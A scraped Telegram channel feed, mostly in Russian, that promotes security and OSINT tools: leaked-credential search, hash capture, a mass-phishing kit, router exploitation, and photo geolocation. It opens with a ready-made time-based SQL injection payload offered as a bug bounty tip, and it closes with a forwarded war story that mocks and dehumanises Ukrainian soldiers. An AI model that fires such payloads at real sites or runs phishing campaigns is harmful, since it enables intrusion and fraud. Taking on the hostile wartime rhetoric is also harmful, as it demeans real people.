SQL Injection
After this, I used ghauri to extract the database It was successful
#SQL #Injection #ghauri #BugBounty #Tips
After this, I used ghauri to extract the database It was successful
-11+PROCEDURE+ANALYSE(EXTRACTVALUE(9859,CONCAT(0x5c,(BENCHMARK(110000000,MD5(0x7562756f))))),1)--#SQL #Injection #ghauri #BugBounty #Tips
🖥 Репозиторий: Pwndb — инструмент для поиска email-адресов
Pwndb — это инструмент, который предназначен для поиска утечек данных и скомпрометированных аккаунтов в интернете. Он обеспечивает возможность быстрого поиска информации о пользователях, которые могли попасть в базы данных.
— Данный инструмент консольный, и предназначен для поиска по различным категориям данных, таким как электронные адреса, пароли, имена пользователей и другие личные данные.
⏺ Ссылка на GitHub
#Tools #Osint
Pwndb — это инструмент, который предназначен для поиска утечек данных и скомпрометированных аккаунтов в интернете. Он обеспечивает возможность быстрого поиска информации о пользователях, которые могли попасть в базы данных.
— Данный инструмент консольный, и предназначен для поиска по различным категориям данных, таким как электронные адреса, пароли, имена пользователей и другие личные данные.
⏺ Ссылка на GitHub
#Tools #Osint
🖥 Репозиторий: Responder — инструмент для анализа и перехвата сетевого трафика
Responder — это удобный инструмент, который позволяет анализировать и перехватывать сетевой трафик в локальной сети. Он применяется для исследования сетевых протоколов и выявления потенциальных уязвимостей.
— Данный инструмент предоставляет возможность отслеживать хеши паролей и методы аунтификаций в сетевых протоколах.
⏺ Ссылка на GitHub
#Tools #Network
Responder — это удобный инструмент, который позволяет анализировать и перехватывать сетевой трафик в локальной сети. Он применяется для исследования сетевых протоколов и выявления потенциальных уязвимостей.
— Данный инструмент предоставляет возможность отслеживать хеши паролей и методы аунтификаций в сетевых протоколах.
⏺ Ссылка на GitHub
#Tools #Network
🖥 Lazytainer — инструмент для управления сетевым трафиком в контейнерах Docker
Lazytainer — это инструмент, для отслеживания сетевого трафика к контейнерам Docker и автоматически запускает или останавливает их в зависимости от наличия трафика. Контейнеры могут быть организованы в группы с метками для удобного управления.
— Данный инструмент позволяет настраивать параметры конфигурации для групп, включая порты, тайм-аут неактивности, минимальный порог пакета, частоту опроса, метод сна и сетевой интерфейс.
⏺ Ссылка на GitHub
#Network
Lazytainer — это инструмент, для отслеживания сетевого трафика к контейнерам Docker и автоматически запускает или останавливает их в зависимости от наличия трафика. Контейнеры могут быть организованы в группы с метками для удобного управления.
— Данный инструмент позволяет настраивать параметры конфигурации для групп, включая порты, тайм-аут неактивности, минимальный порог пакета, частоту опроса, метод сна и сетевой интерфейс.
⏺ Ссылка на GitHub
#Network
🖥 Репозиторий: ApkTool — инструмент для реверс инжиниринга андроид приложений
ApkTool — это инструмент для обратного проектирования сторонних закрытых бинарных приложений Android. Он может декодировать программы практически до исходной формы и восстанавливать их после внесения некоторых изменений;
— Данный инструмент позволяет шаг за шагом отлаживать код smali. Это также упрощает работу с приложениями благодаря файловой структуре, напоминающей проект, и автоматизации некоторых повторяющихся задач, таких как создание apk и т. д.
⏺ Ссылка на GitHub
#Tools
ApkTool — это инструмент для обратного проектирования сторонних закрытых бинарных приложений Android. Он может декодировать программы практически до исходной формы и восстанавливать их после внесения некоторых изменений;
— Данный инструмент позволяет шаг за шагом отлаживать код smali. Это также упрощает работу с приложениями благодаря файловой структуре, напоминающей проект, и автоматизации некоторых повторяющихся задач, таких как создание apk и т. д.
⏺ Ссылка на GitHub
#Tools
Forwarded from Сводки частной разведки
1322-2730-1-PB.pdf
1.6 MB
Авторы:
Существующие в Бразилии преступные организации (ПО) банды и ополчения – оказывают огромное влияние на само государство и общественную жизнь. Причины, лежащие в основе появления этих организаций, привели к девальвации человеческой жизни и экстремальному гипернасилию. В целом
за последние несколько десятилетий произошло скачкообразное увеличение количества самих ПО вместе с ростом их численности. Однако данный процесс не ограничивался исключительно увеличением количественных характеристик бразильских ПО.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
✅ Добрый вечер, разведчики! Отличная новость, у проекта GeoSpy появился бот в телеграме. Теперь можно отправить фото боту, и он попробует найти где оно было сделано.
https://t.iss.one/geospy_ai_bot
https://t.iss.one/geospy_ai_bot
👩💻 TigerShark — многофункциональный фишинг-фреймворк
TigerShark - это двуязычный PhishingKit, который включает в себя различные инструменты для фишинга, фреймворки, инструменты для сбора и генерации доменов, инструменты для массовой рассылки.
Этот комплект позволяет создавать небольшие и крупные фишинговые кампании с настраиваемой полезной нагрузкой на нескольких разных языках сценариев.
⏺ Ссылка на GitHub
#Framework #Phishing
TigerShark - это двуязычный PhishingKit, который включает в себя различные инструменты для фишинга, фреймворки, инструменты для сбора и генерации доменов, инструменты для массовой рассылки.
Этот комплект позволяет создавать небольшие и крупные фишинговые кампании с настраиваемой полезной нагрузкой на нескольких разных языках сценариев.
⏺ Ссылка на GitHub
#Framework #Phishing
🖥 Репозиторий: Lookyloo — инструмент для захвата веб-страниц
Lookyloo - это веб-интерфейс, который захватывает веб-страницу, а затем отображает дерево доменов, которые называют друг друга.
— Данный инструмент может быть полезен для анализа цепочек переадресаций на веб-страницах и поможет пользователям лучше понять структуру и связи между доменами при исследовании безопасности и других целях.
⏺ Ссылка на GitHub
#Tools
Lookyloo - это веб-интерфейс, который захватывает веб-страницу, а затем отображает дерево доменов, которые называют друг друга.
— Данный инструмент может быть полезен для анализа цепочек переадресаций на веб-страницах и поможет пользователям лучше понять структуру и связи между доменами при исследовании безопасности и других целях.
⏺ Ссылка на GitHub
#Tools
🖥 Репозиторий: RouterSploit — инструмент для пентеста сетевых устройств
RouterSploit — это фреймворк для тестирования на проникновение в маршрутизаторы и другие сетевые устройства. Он предоставляет возможности для анализа безопасности сетевых устройств, поиска уязвимостей и проведения атак на сетевые устройства.
— Этот инструмент специализируется на тестировании и анализе уязвимостей в сетевых устройствах, помогая повышать уровень безопасности сети.
⏺ Ссылка на GitHub
#Network
RouterSploit — это фреймворк для тестирования на проникновение в маршрутизаторы и другие сетевые устройства. Он предоставляет возможности для анализа безопасности сетевых устройств, поиска уязвимостей и проведения атак на сетевые устройства.
— Этот инструмент специализируется на тестировании и анализе уязвимостей в сетевых устройствах, помогая повышать уровень безопасности сети.
⏺ Ссылка на GitHub
#Network
PH0MBER - OSINT framework, универсальный инструмент для сбора информации и разведки. Он может помочь вам собрать информацию (например, номера телефонов, IP-адрес, информацию о доменном имени и т. д.) из различных общедоступных источников о цели.
▫️https://github.com/s41r4j/phomber
▫️https://pypi.org/project/phomber/
😎👍 САЙТ | ВК | TLG
🕵️♂️ ЧАТ-БОТ 🪪 ВИЗИТКА
▫️https://github.com/s41r4j/phomber
▫️https://pypi.org/project/phomber/
😎👍 САЙТ | ВК | TLG
🕵️♂️ ЧАТ-БОТ 🪪 ВИЗИТКА
Forwarded from Интернет-Розыск
This media is not supported in your browser
VIEW IN TELEGRAM
Пошаговое руководство по созданию специальной машины для OSINT-разведки. Базовый пакет включает в себя надежный процесс усиления системы LINUX, настройку браузера Tor, установку брандмауэра, ротацию конфигурации прокси-сервера и расширенные меры предотвращения атак.
▫️https://github.com/AmazoniaLeaksOficial/OSINTMachineGuide
▫️https://amazonialeaks.medium.com/resilient-osint-environment-system-for-resisting-powerful-adversaries-0294a54eed7a
З.Ы. Специализированные операционные системы для OSINT...
😎👍 САЙТ | ВК | TLG
🕵️♂️ ЧАТ-БОТ 🪪 ВИЗИТКА
▫️https://github.com/AmazoniaLeaksOficial/OSINTMachineGuide
▫️https://amazonialeaks.medium.com/resilient-osint-environment-system-for-resisting-powerful-adversaries-0294a54eed7a
З.Ы. Специализированные операционные системы для OSINT...
😎👍 САЙТ | ВК | TLG
🕵️♂️ ЧАТ-БОТ 🪪 ВИЗИТКА
Forwarded from OSINT Беларусь
Channel Crawler - поисковый робот YouTube-канала. Поиск по названию, категории, стране, количеству подписчиков, просмотрам, видео и дате создания.
https://channelcrawler.com/
👉 Подписывайтесь на OSINT Беларусь
https://channelcrawler.com/
👉 Подписывайтесь на OSINT Беларусь
Forwarded from OSINT | Форензика
TurboScribe это инструмент для транскрипции звонков, записей, лекций, обсуждений и др. он работает с помощью Whisper от OpenAI, который конечно же использует искусственный интеллект для точной транскрипции аудио.
Сервис обладает тремя режимами, Cheetah, Dolphin и Whale, первый самый ускоренный, но менее точный, второй работает сбалансировано и третий самый точный, но медленный режим. Меня лично этот инструмент выручал не раз, он так же позволяет выполнить транскрипцию 3 раза бесплатно за день, что очень удобно.
Please open Telegram to view this post
VIEW IN TELEGRAM
drozer : Security testing framework for Android
It allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Android Runtime, other apps' IPC endpoints and the underlying OS.
drozer provides tools to help you use, share and understand public Android exploits : https://github.com/WithSecureLabs/drozer
It allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Android Runtime, other apps' IPC endpoints and the underlying OS.
drozer provides tools to help you use, share and understand public Android exploits : https://github.com/WithSecureLabs/drozer
GitHub
GitHub - ReversecLabs/drozer: The Leading Security Assessment Framework for Android.
The Leading Security Assessment Framework for Android. - ReversecLabs/drozer
Forwarded from НУЛЕВАЯ ВИДИМОСТЬ
Охотиться нельзя стать жертвой
Часть 1
Знойное лето 2023 жужжат только надоедливые мухи с реки, ибо РЭБмэны с обеих сторон Днепра что-то мутят и возможности залететь жужжалкой дальше 2к метров нет уже около двух месяцев. Заскучавшие и оборзевшие от тишины операшки бренно шатаются по береговой линии в шортах, так как арта чубаноидов потеряла возможность наносить огневое поражение от слова совсем , благодаря действиям голодных иксоводов.
Но внутреннее чутье одного из вогоносцев вдруг начинает играть яркими красками и он вопреки бесчисленным попыткам побороть в неравном бою РЭБчик решает совершить полет. Заходит на глубину около 6к и видит 3 сочнейшие лодки BRAVO TEAM ЮКРЕЙН КОМУНИТИ .Глаза заполняет пламя, дыхание перехватывает от такого неожиданного сюрпрАйза . Помощники по команде уже доснаряжают ящик вогов и готовятся отправлять птички с подарунками . Понимая всю тонкость ситуации , для лучшей радиовидимости оперейтор дрона взбирается на дерево аки бабизян в долю секунды , будто всю жизнь этим и занимался , устроившись поудобнее на ветке ,начинается работа .
Картина маслом : 3 лодки с группой технически заряженных хрюклов aka navy saseal, с кучей девайсов причалила щемить операторов Би-Пи-эЛ-эЙ, вышла на остров, развернула оборудку и случайно была выпалена . Одновременно с подготовкой скида начинают готовить три тройки со сбросами ( про них расскажем позже) , так же в моменте времени подтягиваются другие свободные управлялтели повітряними зміями . Буквально 10 минут мозгового штурма и доподготовки и начинается то, что мы называем - ДЖЕЧЬ БУРЕЧ (смотри перевод в интернетах).
Часть 1
Знойное лето 2023 жужжат только надоедливые мухи с реки, ибо РЭБмэны с обеих сторон Днепра что-то мутят и возможности залететь жужжалкой дальше 2к метров нет уже около двух месяцев. Заскучавшие и оборзевшие от тишины операшки бренно шатаются по береговой линии в шортах, так как арта чубаноидов потеряла возможность наносить огневое поражение от слова совсем , благодаря действиям голодных иксоводов.
Но внутреннее чутье одного из вогоносцев вдруг начинает играть яркими красками и он вопреки бесчисленным попыткам побороть в неравном бою РЭБчик решает совершить полет. Заходит на глубину около 6к и видит 3 сочнейшие лодки BRAVO TEAM ЮКРЕЙН КОМУНИТИ .Глаза заполняет пламя, дыхание перехватывает от такого неожиданного сюрпрАйза . Помощники по команде уже доснаряжают ящик вогов и готовятся отправлять птички с подарунками . Понимая всю тонкость ситуации , для лучшей радиовидимости оперейтор дрона взбирается на дерево аки бабизян в долю секунды , будто всю жизнь этим и занимался , устроившись поудобнее на ветке ,начинается работа .
Картина маслом : 3 лодки с группой технически заряженных хрюклов aka navy saseal, с кучей девайсов причалила щемить операторов Би-Пи-эЛ-эЙ, вышла на остров, развернула оборудку и случайно была выпалена . Одновременно с подготовкой скида начинают готовить три тройки со сбросами ( про них расскажем позже) , так же в моменте времени подтягиваются другие свободные управлялтели повітряними зміями . Буквально 10 минут мозгового штурма и доподготовки и начинается то, что мы называем - ДЖЕЧЬ БУРЕЧ (смотри перевод в интернетах).
❤4